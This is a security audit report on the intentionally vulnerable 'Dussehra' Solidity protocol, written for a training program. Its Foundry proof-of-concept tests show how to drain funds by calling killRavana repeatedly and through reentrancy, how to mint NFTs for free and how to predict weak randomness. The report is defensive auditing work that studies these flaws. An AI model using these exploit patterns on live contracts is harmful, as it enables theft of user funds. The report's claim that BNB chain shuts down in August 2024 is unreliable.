Dussehra Audit Report

Version 1.0

Cyfrin.io

June 13, 2024

Codehawks First flight Dussehra Audit Report

Seven Cedars

June 12, 2024

Prepared by: Seven Cedars

Table of Contents

Protocol Summary

Dussehra, a major Hindu festival, commemorates the victory of Lord Rama, the seventh avatar of Vishnu, over the demon king Ravana during the event of Dussehra.

Contracts

The Dussehra protocol allows a user to participate in the event of Dussehra. The protocol is divided into three contracts: `ChoosingRam`, `Dussehra`, and `RamNFT`.

- The `Dussehra` contract:
  - Allows users to enter the contract by paying a preset fee The user receives a ramNFT.
  - Between 12 and 13 october 2023, allows any user to kill Ravana. When Ravana is killed, half of the fees are transferred to the organiser.
  - Allows the user who owns the ramNFT that has been selected as Ram to withdraw half of the collected entree fees.
- The `ChoosingRam` contract:
  - Allows users to increase the worth of their ramNFT. If they are the first to collect all five characteristics, they will become Ram.
  - If no Ram has been selected by 12 October, it allows the organiser to randomly select a Ram.
- The `RamNFT` contract:
  - allows `Dussehra contract` to mint Ram NFTs
  - update the characteristics of the NFTs
  - and retrieve the characteristics of the NFTs.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

This protocol was prepared for the Codehawk's firstflight program. It intentionally has numerous bugs and vulnerabilities.

Scope

- In Scope:

```
#-- interfaces
|   #-- ChoosingRam.sol
|   #-- Dussehra.sol
|   #-- RamNFT.sol
```

- Solc Version: `0.8.20`
- Chain(s) to deploy contract to:
  - Ethereum
  - zksync
  - Arbitrum
  - BNB

Roles

- Organiser: The address that initiated the Dussehra and RamNFT contracts
- User: Address participating in the Dussehra event
- Ram: ramNFT that has been selected as Ram before the Dussehra event starts.

Executive Summary

Severity	Number of Issues found
high	7
medium	3
low	16
total	26

Issues found

Findings

High

[H-1] The function `Dussehra::killRavana` can be called multiple times, leading to `organiser` receiving all funds and leaving no funds for the selected ram to claim through the function `Dussehra::withdraw`.

Description: The function `Dussehra::killRavana` sets `IsRavanKilled` to true and sends half of the collected fees to the `organiser` address. The `Dussehra::withdraw` function, in turn, is meant to allow a winner address to withdraw the other half of the collected fees.

However, the `killRavana` function does not check if Ravana has already been killed (or, more generally, if the function has already been called before. It only checks if Ram has been selected (through the `RamIsSelected` modifier) and if it is called between block.timestamp 1728691069 and 1728691069. As a result, it can be called multiple times, each time transferring half of the collected fees to the `organiser` address.

```
1         function killRavana() public RamIsSelected {
2           if (block.timestamp < 1728691069) {
3               revert Dussehra__MahuratIsNotStart();
4           }
5           if (block.timestamp > 1728777669) {
6               revert Dussehra__MahuratIsFinished();
7           }
8           // A check if Ravana is already killed is missing here.
9           IsRavanKilled = true;
```

Impact: After two calls to the `killRavana` function, all funds have been sent to the `organiser` address, leaving none for the winner address to withdraw. It breaks intended functionality of the protocol and allows the organiser to execute a rug pull.

Proof of Concept: 1. Participants enter the contract through the `Dussehra::enterPeopleWhoLikeRam` function. 2. Each participant pays the entry fee. 3. Between timestamp 1728691200 and 1728777600, the `organiser` calls the `ChoosingRam::selectRamIfNotSelected` function. This allows the `killRavana` function to be called. 4. Any address calls the `Dussehra::killRavana`. 5. A second time, any address calls the `Dussehra::killRavana`. 6. All fees deposited into the protocol end up at `organiser` address.

Proof of Concept

Place the following in `Dussehra.t.sol`.

```
    // note: the `participants` modifier adds two players to the protocol, both pay the 1 ether entree fee.
    function test_organiserGetsAllFundsByCallingKillRavanaTwice() public participants {
        uint256 balanceDussehraStart = address(dussehra).balance;
        uint256 balanceOrganiserStart = organiser.balance;
        vm.assertEq(balanceDussehraStart, 2 ether);

        // the organiser first selects a Ram..
        vm.warp(1728691200 + 1);
        vm.startPrank(organiser);
        choosingRam.selectRamIfNotSelected();
        vm.stopPrank();

        // then the killRavana function is called twice.
        vm.warp(1728691069 + 1);
        vm.startPrank(player3);
        // calling it one time...
        dussehra.killRavana();
        // calling it a second time... -- no revert happens.
        dussehra.killRavana();
        vm.stopPrank();

        uint256 balanceDussehraEnd = address(dussehra).balance;
        uint256 balanceOrganiserEnd = organiser.balance;

        // The balance of Dussehra is 0 and the organiser took all the funds that were in the Dussehra contract.
        vm.assertEq(balanceDussehraEnd, 0 ether);
        vm.assertEq(balanceOrganiserEnd, balanceOrganiserStart + balanceDussehraStart);

        // when withdraw is called it reverts: out of funds.
        address selectedRam = choosingRam.selectedRam();
        vm.startPrank(selectedRam);
        vm.expectRevert();
        dussehra.withdraw();
        vm.stopPrank();
    }
```

Recommended Mitigation: Add a check if Ravana has already been killed, making it impossible to call the function twice.

```
+   error Dussehra__RavanaAlreadyKilled()();
.
.
.

  function killRavana() public RamIsSelected {
      if (block.timestamp < 1728691069) {
```

```
            revert Dussehra__MahuratIsNotStart();
        }
        if (block.timestamp > 1728777669) {
            revert Dussehra__MahuratIsFinished();
        }
+         if (IsRavanKilled) {
+          revert Dussehra__RavanaAlreadyKilled();
+       }
        IsRavanKilled = true;
.
.
.
    }
```

[H-2] The `Dussehra::killRavana` function is susceptible to a reentrancy attack by the `organiser`, allowing the organiser to retrieve all funds from the `Dussehra` contract through one transaction.

Description: The function `killRavana` sets `IsRavanKilled` to true and sends half of the collected fees to the `organiser` address. However, because funds are send to the organiser through a low level `.call`, it is possible to set the `organiser` as a malicious contract that will recall `killRavana` at the moment it receives funds.

Note that this vulnerability is enabled by the vulnerability described in [H-1]. Because its root cause is different, I note it as an additional vulnerability.

```
    (bool success, ) = organiser.call{value: totalAmountGivenToRam}("")
        ;
    require(success, "Failed to send money to organiser");
```

Impact: The reentrancy vulnerability allows the `organiser` to drain all funds from the contract, breaking the intended functionality of the `Dussehra` protocol.

Please note that it is also possible to create a malicious contract that reverts on receiving funds. This will make it impossible to kill Ravana, breaking the protocol. It is a different execution of the same vulnerability.

Proof of Concept: 1. A malicious organiser creates a contract (here named `organiserReenters`) with a `receive` function that calls `Dussehra::killRavana` until no funds are left.
2. The `organiserReenters` contract is used to initiate the Dussehra contract. 3. Players enter the `Dussehra` contract, without any problems. 4. The organiser of the `RamNFT` contract calls `selectRamIfNotSelected` (this allows the `killRavana` function to be called). 5. Anyone calls the `killRavana` function. 6. All funds end up at the `organiserReenters` contract.

Proof of Concept

Add the following code underneath the `CounterTest` contract in `Dussehra.t.sol`.

```
  contract OrganiserReentersKillRavana {
    Dussehra selectedDussehra;

    constructor() {}

    function setSelectedDussehra (Dussehra _dussehra) public {
        selectedDussehra = _dussehra;
    }

    // if there is enough balance in the Dussehra contract, it calls killRavana again on receiving funds.
    receive() external payable {
        if (address(selectedDussehra).balance >= selectedDussehra.totalAmountGivenToRam())
        {
            selectedDussehra.killRavana();
        }
    }
}
```

Place the following in the `CounterTest` contract in the `Dussehra.t.sol` test file.

```
    function test_organiserReentryStealsFunds() public {
        OrganiserReentersKillRavana organiserReenters;
        Dussehra reenteredDussehra;
        organiserReenters = new OrganiserReentersKillRavana();

        vm.startPrank(address(organiserReenters));
        reenteredDussehra = new Dussehra(1 ether, address(choosingRam), address(ramNFT));
        organiserReenters.setSelectedDussehra(reenteredDussehra);
        vm.stopPrank();

        // We enter participants with their entree fees.
        vm.startPrank(player1);
        vm.deal(player1, 1 ether);
        reenteredDussehra.enterPeopleWhoLikeRam{value: 1 ether}();
        vm.stopPrank();

        vm.startPrank(player2);
        vm.deal(player2, 1 ether);
        reenteredDussehra.enterPeopleWhoLikeRam{value: 1 ether}();
        vm.stopPrank();

        // At this point the Dussehra contract has the fees, the organiser has no funds.
        uint256 balanceDussehraStart = address(reenteredDussehra).balance;
        uint256 balanceOrganiserStart = address(organiserReenters).
```

```
            balance;
        vm.assertEq(balanceDussehraStart, 2 ether);
        vm.assertEq(balanceOrganiserStart, 0 ether);

        // Then, the organiser first selects the Ram..
        vm.warp(1728691200 + 1);
        vm.startPrank(organiser); // note: this needs to be called by
            the `organiser` of {RamNFT} _not_ the `organiser` of {
            Dussehra.sol}
        choosingRam.selectRamIfNotSelected();

        // then anyone calls the kill Ravana function..
        reenteredDussehra.killRavana();

        // and the organiser ends up with all the funds.
        uint256 balanceDussehraEnd = address(dussehra).balance;
        uint256 balanceOrganiserEnd = address(organiserReenters).
            balance;

        vm.assertEq(balanceDussehraEnd, 0 ether);
        vm.assertEq(balanceOrganiserEnd, balanceOrganiserStart +
            balanceDussehraStart);
    }
```

Recommended Mitigation: Currently, funds are pushed through a low level call to the organiser address. This allows for a reentrancy attack to be executed. The mitigation is to refactor the code to a pull logic. Create a separate function that allows the organiser the pull the funds from the contract the moment that Ravana has been killed. See the following page for more information: https://fravoll.github.io/solidity-patterns/pull_over_push.html.

The following solution draws from this page.

1. Add a mapping to keep track of credits owed.

```
+    mapping(address => uint) credits;
```

1. Add a function to retrieve funds when address has credits.

```
+    function withdrawCredits() public {
+        uint amount = credits[msg.sender];
+
+        require(amount != 0);
+        require(address(this).balance >= amount);
+
+        credits[msg.sender] = 0;
+
+        msg.sender.transfer(amount);
    }
```

3. Refactor the existing `killRavana` function to add credits to credits mapping instead of directly transferring funds.

```
- (bool success, ) = organiser.call{value: totalAmountGivenToRam}("");
- require(success, "Failed to send money to organiser");
+ credits[receiver] += totalAmountGivenToRam;
```

[H-3] Random values in `ChoosingRam::selectRamIfNotSelected` and `ChoosingRam::increaseValuesOfParticipants` are only pseudo random. It allows users to influence and predict outcome of which ramNFT will be selected and hence enable gaming of the outcome of the `Dussehra` protocol.

Description: Hashing `block.timestamp` and `block.prevrandao` together at `ChoosingRam::selectRamIfNotSelected` creates a predictable final number. It is not a truly random number. It is possible for an organiser to calculate the outcome before calling the function, allowing them to choose who will be the winner.

Similarly, hashing `block.timestamp`, `block.prevrandao` and `msg.sender` together at `ChoosingRam::increaseValuesOfParticipants` also creates a predictable final number. This time, though, the addition of `msg.sender` also allows the final number to be influenced, choosing which of the two participants will receive the increased value.

Impact: 1. The organiser can choose who get to be selected as Ram. 2. Any participant can game the seemingly random selection of `tokenIdOfChallenger` or `tokenIdOfAnyPerticipent` at the `increaseValuesOfParticipants`. A central element of the intended functionality of the protocol is the random selection of Ram. This vulnerability breaks this intended functionality.

Proof of Concept: 1. The organiser knows ahead of time the `block.timestamp` and`block.prevrandao` and uses this calculate outcome of calculation of “random” value. 2. When this value brings up the correct RamNFT id, organiser calls the `selectRamIfNotSelected` function. 3. The expected participant is selected as the winner.

Proof of Concept Place the following in `Dussehra.t.sol`.

```
    function test_organiserCanChooseWinner() public participants {
        uint256 tokenThatShouldWin = 0;
        // check that player1 is owner of ramNFT token no. 0.
        assertEq(ramNFT.getCharacteristics(tokenThatShouldWin).ram,
            player1);
        uint256 thisIsSoNotRandom = 99999; // should not initialise to
            0 as this equals `tokenThatShouldWin`.

```

```
7           uint256 j = 1;
8           while (thisIsSoNotRandom != tokenThatShouldWin) {
9               vm.warp(1728691200 + j);
10              thisIsSoNotRandom = uint256(keccak256(abi.encodePacked(
                    block.timestamp, block.prevrandao, msg.sender))) % 2;
11              j++;
12          }
13
14          // when we reached the correct value, we run the
                selectRamIfNotSelected function.
15          vm.startPrank(organiser);
16          choosingRam.selectRamIfNotSelected();
17          vm.stopPrank();
18
19          // player1, owner of ramNFT no 0 is selected as Ram.
20          vm.assertEq(choosingRam.selectedRam(), player1);
21      }
```

Recommended Mitigation: Use an off-chain verified random number generator. The most popular one is Chainlink VRF, but others exist. As this will require extensive refactoring of code, I did not write out the mitigation here.

[H-4] The function `RamNFT:mintRamNFT` is public and lacks any kind of access control. This means that anyone can mint ramNFTs and enter the Dussehra protocol without paying entree fees.

Description: Participants are meant to enter the protocol and receive an ramNFT via the `Dussehra::enterPeopleWhoLikeRam` function. The participants has to pay a fee when calling the `enterPeopleWhoLikeRam` function, which then calls the `RamNFT:mintRamNFT` to mint a ramNFT, logs the tokenId and adds initialises characteristics linked to the tokenId. The tokenId and characteristics allow people to participate in the event and win half of the collected fees.

However, `RamNFT:mintRamNFT` lacks any kind of access control. This results in anyone beng able to call the function directly indefinitely, bypassing `Dussehra::enterPeopleWhoLikeRam`, avoiding paying the entree fee and entering the event an indefinite amount of times.

```
1       // note 1: a public function without any modifier.
2         function mintRamNFT(address to) public {
3       // note 2: no if or require checks at all.
4           uint256 newTokenId = tokenCounter++;
5           _safeMint(to, newTokenId);
6
7           Characteristics[newTokenId] = CharacteristicsOfRam({
8               ram: to,
9               isJitaKrodhah: false, //
10              isDhyutimaan: false, //
```

```
11              isVidvaan: false, //
12              isAatmavan: false, //
13              isSatyavaakyah: false //
14          });
15      }
```

Impact: Participants can enter the event for free, while still being able to win half of the collected entree fees. It takes away any incentive to pay the entree fee, leaving the contract without any funds to pay the winning Ram. It breaks the intended functionality of the protocol.

Proof of Concept: 1. A malicious user calls `mintRamNFT` 9999 times. Does not pay any entree fees. 2. `mintRamNFT` does not revert. 3. Organiser calls `choosingRam::selectRamIfNotSelected`. 4. The malicious user has a very high chance of being selected Ram.

Proof of Concept

Place the following in the `CounterTest` contract in the `Dussehra.t.sol` test file.

```
1     function test_mintingFreeRamNFTs() public participants {
2          // let's enter the Ram even 9999 times...
3          uint256 amountRamNFTstoMint = 9999;
4
5          vm.startPrank(player3);
6          for (uint256 i; i < amountRamNFTstoMint; i++) {
7              ramNFT.mintRamNFT(player3);
8          }
9          vm.stopPrank();
10
11         // and then the organiser chooses a Ram
12         vm.warp(1728691200 + 1);
13         vm.prank(organiser);
14         choosingRam.selectRamIfNotSelected();
15
16         // it is an almost certainty that player3 will be selected.
17         vm.assertEq(choosingRam.selectedRam(), player3);
18     }
```

Recommended Mitigation: The `Dussehra` contract needs to be the `organiser` of the `RamNFT` contract. This allows the addition of a check that it is the `Dussehra` contract calling a function.
1. For clarity, rename `organiser` to `s_ownerDussehra`.
2. Have the `Dussehra` contract initiate `RamNFT`. This sets `s_ownerDussehra` to the address of the `Dussehra` contract. 3. Add a check that `RamNFT::mintRamNFT` can only be called by `s_ownerDussehra`.

In `Dussehra.sol`:

```
1  +    constructor(uint256 _entranceFee, address _choosingRamContract) {
2  -    constructor(uint256 _entranceFee, address _choosingRamContract,
       address _ramNFT) {
```

```
3           entranceFee = _entranceFee;
4           organiser = msg.sender;
5   +       ramNFT = new RamNFT();
6   -       ramNFT = RamNFT(_ramNFT);
7           choosingRamContract = ChoosingRam(_choosingRamContract);
8       }
```

In `RamNFT.sol`:

```
1   + error RamNFT__NotDussehra();
2   .
3   .
4   .
5   -   address public organiser;
6   +   address immutable i_ownerDussehra;
7   .
8   .
9   .
10      constructor() ERC721("RamNFT", "RAM") {
11          tokenCounter = 0;
12  -       organiser = msg.sender;
13  +       i_ownerDussehra = msg.sender;
14      }
15  .
16  .
17  .
18      function mintRamNFT(address to) public {
19
20  +        if (msg.sender != i_ownerDussehra) {
21  +            revert RamNFT__NotDussehra();
22  +        }
23
24          uint256 newTokenId = tokenCounter++;
25          _safeMint(to, newTokenId);
```

[H-5] The `ChoosingRam::increaseValuesOfParticipants` does not set `isRamSelected` to true. It results in the `ChoosingRam::selectRamIfNotSelected` overriding any prior selected Ram before the end of the event.

Description: The `ChoosingRam::increaseValuesOfParticipants` function is meant as a game of chance between two participants (a `tokenIdOfChallenger` and `tokenIdOfAnyPerticipent`). One of the two receives an increase in characteristics. If enough characteristics have been accumulated, the participant will be selected as the Ram and win half of the fee pool. An additional function `ChoosingRam::selectRamIfNotSelected` allows the `organiser` to select a Ram if none has been selected by a certain time.

However, the `ChoosingRam::increaseValuesOfParticipants` does not set `isRamSelected`

to true when it selects a Ram. As a result: 1. `increaseValuesOfParticipants` can continue to select a Ram even if it has already been selected. 2. `selectRamIfNotSelected` can overwrite any Ram selected through `increaseValuesOfParticipants`. 3. Worse, because the `Dussehra::killRavana` function checks if `ChoosingRam::isRamSelected` is true, it forces `ChoosingRam::selectRamIfNotSelected` to be called. This means that the selected Ram will *always* be set by the `selectRamIfNotSelected` function, not the `increaseValuesOfParticipants`.

In `ChoosingRam.sol`:

```
1     function increaseValuesOfParticipants(uint256 tokenIdOfChallenger,
          uint256 tokenIdOfAnyPerticipent)
2  .
3  .
4  .
5      } else if (ramNFT.getCharacteristics(tokenIdOfChallenger).
           isSatyavaakyah == false){
6          ramNFT.updateCharacteristics(tokenIdOfChallenger, true, true,
               true, true, true);
7          // Note: isRamSelected not set to true
8          selectedRam = ramNFT.getCharacteristics(tokenIdOfChallenger).
               ram;
9      }
10 .
11 .
12 .
13     } else if (ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).
           isSatyavaakyah == false){
14         ramNFT.updateCharacteristics(tokenIdOfAnyPerticipent, true,
               true, true, true, true);
15         // Again note: isRamSelected not set to true
16         selectedRam = ramNFT.getCharacteristics(tokenIdOfAnyPerticipent
               ).ram;
17     }
```

In `Dussehra.sol`:

```
1    function killRavana() public RamIsSelected {
```

Impact: The intended functionality of the protocol is for participants to increase their characteristics through the `ChoosingRam::increaseValuesOfParticipants` function until they become Ram. Only in the case that no one has been selected as Ram though `increaseValuesOfParticipants`, does the organiser get to randomly select a Ram. This bug in the protocol breaks its intended logic.

Proof of Concept: 1. Two participants (player1 and player2) call `increaseValuesOfParticipants` until one is selected as Ram. 2. When `Dussehra::killRavana` is called, it reverts. 3. When

`organiser` calls `selectRamIfNotSelected` it does not revert. 4. The selectedRam is reset to a new address. 5. When `Dussehra::killRavana` is called, it does not revert.

Proof of Concept

Place the following in the `CounterTest` contract of the `Dussehra.t.sol` test file.

```
1       function test_selectRamIfNotSelected_AlwaysSelectsRam() public
           participants {
2         address selectedRam;
3
4         // the organiser enters the protocol, in additional to player1
             and player2.
5         vm.startPrank(organiser);
6         vm.deal(organiser, 1 ether);
7         dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
8         vm.stopPrank();
9         // check that the organiser owns token id 2:
10        assertEq(ramNFT.ownerOf(2), organiser);
11
12        // player1 and player2 play increaseValuesOfParticipants
             against each other until one is selected.
13        vm.startPrank(player1);
14        while (selectedRam == address(0)) {
15            choosingRam.increaseValuesOfParticipants(0, 1);
16            selectedRam = choosingRam.selectedRam();
17        }
18        // check that selectedRam is player1 or player2:
19        assert(selectedRam== player1 || selectedRam == player2);
20
21        // But when calling Dussehra.killRavana(), it reverts because
             isRamSelected has not been set to true.
22        vm.expectRevert("Ram is not selected yet!");
23        dussehra.killRavana();
24        vm.stopPrank();
25
26        // Let the organiser predict when their own token will be
             selected through the (not so) random selectRamIfNotSelected
             function.
27        uint256 j;
28        uint256 calculatedId;
29        while (calculatedId != 2) {
30            j++;
31            vm.warp(1728691200 + j);
32            calculatedId = uint256(keccak256(abi.encodePacked(block.
                 timestamp, block.prevrandao))) % ramNFT.tokenCounter();
33        }
34        // when the desired id comes up, the organiser calls `
             selectRamIfNotSelected`:
35        vm.startPrank(organiser);
36        choosingRam.selectRamIfNotSelected();
```

```
37          vm.stopPrank();
38          selectedRam = choosingRam.selectedRam();
39
40          // check that selectedRam is now the organiser:
41          assert(selectedRam == organiser);
42          // and we can call killRavana() without reverting:
43          dussehra.killRavana();
44      }
```

Recommended Mitigation: The simplest mitigation is to set `isRamSelected` to true when a ram is selected through the `increaseValuesOfParticipants` function.

```
1           } else if (ramNFT.getCharacteristics(tokenIdOfChallenger).
               isSatyavaakyah == false){
2               ramNFT.updateCharacteristics(tokenIdOfChallenger, true,
                   true, true, true, true);
3   +           isRamSelected = true;
4               selectedRam = ramNFT.getCharacteristics(tokenIdOfChallenger
                   ).ram;
5           }
6   .
7   .
8   .
9       } else if (ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).
           isSatyavaakyah == false){
10          ramNFT.updateCharacteristics(tokenIdOfAnyPerticipent, true,
               true, true, true, true);
11  +       isRamSelected = true;
12          selectedRam = ramNFT.getCharacteristics(tokenIdOfAnyPerticipent
               ).ram;
13      }
```

Please note that another mitigation would be to delete the `isRamSelected` state variable altogether and have the `RamIsNotSelected` modifier check if `selectedRam != address(0)`. This simplifies the code and reduces chances of errors. This does necessity additional changes to the `Dussehra.sol` contract.

[H-6] The `Dussehra` protocol will be deployed, among others, to the BNB chain. However, BNB is in the process of being decommissioned. From August 2024, it will cease functioning. As the core functionality of the contract is scheduled to take place in October 2024, this will break the contract on the BNB chain.

Description: As explained in the bnb chain documentation, the chain will be decommissioned from August 2024 onward. This is before the `Dussehra::killRavana` function can be called.

Impact: The core functionality of the `Dussehra` protocol will not work on the `BNB` chain.

Recommended Mitigation: Replace BNB with another chain (for instance BNC) or focus on the other three chains instead.

[H-7] The `Dussehra` protocol will be deployed, among others, to the `zksync`. However, ZkSync is currently transitioning to a new mechanism of calculating `block.timestamp`. This transition will likely continue into October. Zksync documentation notes that during this transition `block.timestamp` should not be used to calculate time.

Description: The documentation from zksync notes that (I added emphasis) > The block production rate and timestamp refresh time will be gradually increased during the catch up period. > If your project has critical logics that rely on the values returned from block.number, block.timestamp or blockhash you might face unexpected behaviour (e.g. reduced time for governance voting, spike in rewards etc.). These logics could include (non-exhaustive): > - [...] > - Relying on block.number to calculate when an auction ends or **calculate time**. > - [...] >

Additionally, please note that transient storage (and related Opcodes TLOAD and TSTORE) are not supported in zkSync. See the the official documentation: https://www.rollup.codes/zksync-era Both of these are used in the OpenZeppelin v5 that is imported in `RamNFT.sol`. It does not seem to create an issue at the moment (as ERC721 remains unused in `RamNFT`) but could become a problem as the protocol is adapted prior to deployment.

Impact: Currently, and into October, block.timestamp on zkSync cannot be used to calculate time or date. It breaks the core functionality of the contract on this chain.

Recommended Mitigation: Either completely change the functionality of the protocol, in order for it not to depend on `block.timestamp` for its functionality, or do not deploy to `zksync`.

Medium

[M-1] The `Dussehra` protocol will be deployed, among others, to the `Arbitrum`. However, `block.timestamp` on the Arbitrum nova L2 chain can be off by as much as 24 hours. This has the potential of breaking the intended functionality of the protocol by shifting the dates at which the `Dussehra::killRavana` function can be called beyond the intended 12 to 13 October 2024 period.

Description: Quoting from Arbitrum's documentation: > Block timestamps on Arbitrum are not linked to the timestamp of the L1 block. They are updated every L2 block based on the sequencer's clock. These timestamps must follow these two rules: > 1. Must be always equal or greater than the previous L2 block timestamp > 2. Must fall within the established boundaries (24 hours earlier than the current time or 1 hour in the future)."

This implies that block.timestamps on Arbitrum can be off by up to 24 hours.

Impact: The time that the `Dussehra::killRavana` function can be called can potentially shifts beyond the intended 12 to 13 October 2024 period.

Related, but more unlikely, if the organiser calls the `ChoosingRam::selectRamIfNotSelected` function through a sequencer that is 24 hours to slow, and subsequently is forced to call `Dussehra::killRavana` through a sequencer that is an hour too fast, the organiser might miss the time window to kill Ravana - breaking the protocol.

Recommended Mitigation: Use an off-chain source (for instance Chainlink's Time Based Upkeeps) to initiate (or limit) functions based on time. This is especially important when deploying to L1 and multiple L2 chains, as timestamps will always differ between chains and sequencers.

[M-2] Weak checks at the `RamNFT` contract allow the `organiser` to directly set the characteristics of any `ramNFT`. This bypasses the `ChoosingRam::increaseValuesOfParticipants` function and allows the `organiser` to influence who will be selected as Ram. It breaks the intended functionality of the contract.

Description: This weakness unfolds in several steps. 1. Weak checks at `RamNFT:setChoosingRamContract` allow the `organiser` to set `choosingRamContract` to any contract address. The `organiser` can do this at any time, also after the `Dussehra` protocol has been deployed. 2. Resetting `choosingRamContract` allows the `organiser` to call `RamNFT:updateCharacteristics` through an alternative contract with an alternative functionality. 3. This alternative contract can, for instance, take a `tokenId` as input and reset characteristics of a ramNFT. 4. This can result in this tokenId being selected as Ram.

I did not log this as a high vulnerability because the `selectRamIfNotSelected` function will always reset `selectedRam`. See vulnerability [H-5] above.

```
1     function setChoosingRamContract(address _choosingRamContract)
          public onlyOrganiser {
2         choosingRamContract = _choosingRamContract;
3     }
```

Impact: By setting characteristics of a ramNFT to true, the protocol can be pushed to select a particular ramNFT as Ram.

Proof of Concept: As noted, this vulnerability unfolds in several steps: 1. The organiser deploys `Dussehra.sol`, `RamNFT.sol` and `ChoosingRam.sol` as usual. 2. The organiser sets `choosingRamContract` to `address(ChoosingRam.sol)` by calling `setChoosingRamContract`. 3. Participants enter the protocol, including the organiser. So far everything is fine.

4. The organiser then creates an alternative contract that calls `selectedRamNFT.updateCharacteristics` and can resets characteristics of a ramNFT. 5. The organiser changes `choosingRamContract` to the address of the alternative contract. 6. The organiser calls a function in the alternative contract and changes the characteristics of their ramNFT to **`true`**, **`true`**, **`true`**, **`true`**, **`false`**.
7. The organiser changes `choosingRamContract` back to the address of `ChoosingRam.sol`.
8. The organiser calls `updateCharacteristics` until the last characteristic is turned to **`true`** and, with it, their ramNFT is selected as Ram. As four out of five characteristics were set to true, the `organiser`'s ramNFT is almost certainly to be selected as Ram.

Proof of Concept

Place the following in the `Dussehra.t.sol` test file, below the `CounterTest` contract.

```
    contract OrganiserResetsRamNFTCharacteristics {
        RamNFT selectedRamNFT;

        constructor(RamNFT _ramNFT) {
            selectedRamNFT = _ramNFT;
        }

        function resetCharacteristics (uint256 tokenId) public {
            selectedRamNFT.updateCharacteristics(
                tokenId, true, true, true, true, false
            );
        }
    }
```

Place the following in the `CounterTest` contract of the `Dussehra.t.sol` test file.

```
     function test_organiserResetsCharacteristics() public participants {
        OrganiserResetsRamNFTCharacteristics resetsAddressesContract;
        resetsAddressesContract = new OrganiserResetsRamNFTCharacteristics(ramNFT);
        address selectedRam = choosingRam.selectedRam();

        // the `participants` modifier enters player1 and player2 to the protocol.
        assertEq(ramNFT.ownerOf(0), player1);
        assertEq(ramNFT.ownerOf(1), player2);

        // The organiser also enters as one of the participants, ending up with token id 2.
        vm.startPrank(organiser);
        vm.deal(organiser, 1 ether);
        dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
        vm.stopPrank();
        assertEq(ramNFT.ownerOf(2), organiser);

```

```
17          // Then, the organiser changes the choosingRamContract to the
                malicious contract: resetsAddressesContract.
18          vm.startPrank(organiser);
19          ramNFT.setChoosingRamContract(address(resetsAddressesContract))
                ;
20
21          // The contract resetsAddressesContract has a function - as the
                 name suggests - to reset characteristics of a selected
                tokenId.
22          // in this case token Id 2: the token Id owned by the organiser
                .
23          resetsAddressesContract.resetCharacteristics(2);
24
25          assertEq(ramNFT.getCharacteristics(2).isJitaKrodhah, true);
26          assertEq(ramNFT.getCharacteristics(2).isDhyutimaan, true);
27          assertEq(ramNFT.getCharacteristics(2).isVidvaan, true);
28          assertEq(ramNFT.getCharacteristics(2).isAatmavan, true);
29          assertEq(ramNFT.getCharacteristics(2).isSatyavaakyah, false);
30
31          // the organiser changes the choosingRamContract to back to the
                 correct contract: choosingRam.
32          vm.startPrank(organiser);
33          ramNFT.setChoosingRamContract(address(choosingRam));
34
35          uint256 i;
36          while (selectedRam == address(0)) {
37              i++;
38              vm.warp(1728690000 + i);
39              choosingRam.increaseValuesOfParticipants(2, 1);
40              selectedRam = choosingRam.selectedRam();
41          }
42          vm.stopPrank();
43          // if we increaseValuesOfParticipants between tokenId 1 and 2,
                is is almost a certainty that tokenId 2 will be selected as
                Ram, as it started with a huge head start.
44          vm.assertEq(selectedRam, organiser);
45      }
```

Recommended Mitigation: Do not allow the `choosingRamContract` to be changed after initialisation.

```
1  +     ChoosingRam public immutable choosingRamContract;
2  -     ChoosingRam public choosingRamContract;
3
4  +     constructor(address _choosingRamContract) ERC721("RamNFT", "RAM")
       {
5  -     constructor() ERC721("RamNFT", "RAM") {
6             tokenCounter = 0;
7             organiser = msg.sender;
8  +          choosingRamContract = ChoosingRam(_choosingRamContract);
9      }
```

```
10
11 -    function setChoosingRamContract(address _choosingRamContract)
       public onlyOrganiser {
12 -        choosingRamContract = _choosingRamContract;
13 -    }
```

[M-3] The address `organiser` at `Dussehra.sol` and the address `organiser` at `RamNFT.sol` have the power to influence and obstruct the functioning of the protocol. As a result, the protocol ends up highly centralised.

Description: The address `organiser` is given a lot of power though several functions.
1. `ChoosingRam::selectRamIfNotSelected` gives sole power to the `organiser` to select a Ram. If the organiser does not do this within the set time frame of around one day, the contract breaks and the funds will be stuck in the contract forever. 2. `RamNFT::setChoosingRamContract` allows `organiser` to change `choosingRamContract` and thereby change the `Characteristics` of any ramNFT. See the vulnerability [M-2] above.
3. There are several ways in which the protocol allows the `organiser` to abuse its power to rug pull participants or break the protocol. See vulnerabilities [H-1], [H-2] and [H-5] above.

Impact: The protocol is susceptible to a rug pull.

Recommended Mitigation: The solution to this problem is not straightforward. But some steps that will help mitigate this issue: 1. Improve role restrictions throughout the protocol. The use of OpenZeppelin's `Ownable` or `AccessControl` will already help.
2. Improve logic within the protocol to reduce chances of rug pull's. See vulnerabilities [H-1], [H-2] and [H-5] discussed above. 3. Use multisig wallets for address with high privileged roles. This reduces the chance of one actor abusing its powers.

Low

[L-1] Due to rounding error in calculation of payout fees in `Dussehra::killRavana`, payout to the organiser and winner can be incomplete, resulting in ether being accumulated in the contract without a means to retrieve it.

Description: Due to rounding error in calculation of payout fees in `Dussehra::killRavana`, payout to the organiser and winner can be incomplete, resulting in ether being accumulated in the contract without a means to retrieve it. This will occur when the entree fee ends with an odd number and an odd number of participants have entered.

```
1    totalAmountGivenToRam = (totalAmountByThePeople * 50) / 100;
```

Impact: There is a chance that the contract will not payout in full.

Proof of Concept: 1. The organiser sets the fee to an odd number (for instance 1 ether + 1); 2. An odd number of participants enters the protocol.
3. Ravana is killed, and fees are collected. 4. The balance of the `Dussehra` is not zero.

Proof of Concept

Place the following in `Dussehra.t.sol`.

```
        function test_roundingErrorLeavesFundsInContract() public {
          // we start by setting up a dussehra contract with a fee that
             has value behind the comma.
          uint256 entreeFee = 1 ether + 1;
          vm.startPrank(organiser);
          Dussehra dussehraRoundingError = new Dussehra(entreeFee,
             address(choosingRam), address(ramNFT));
          vm.stopPrank();

          vm.startPrank(player1);
          vm.deal(player1, entreeFee);
          dussehraRoundingError.enterPeopleWhoLikeRam{value: entreeFee}()
             ;
          vm.stopPrank();

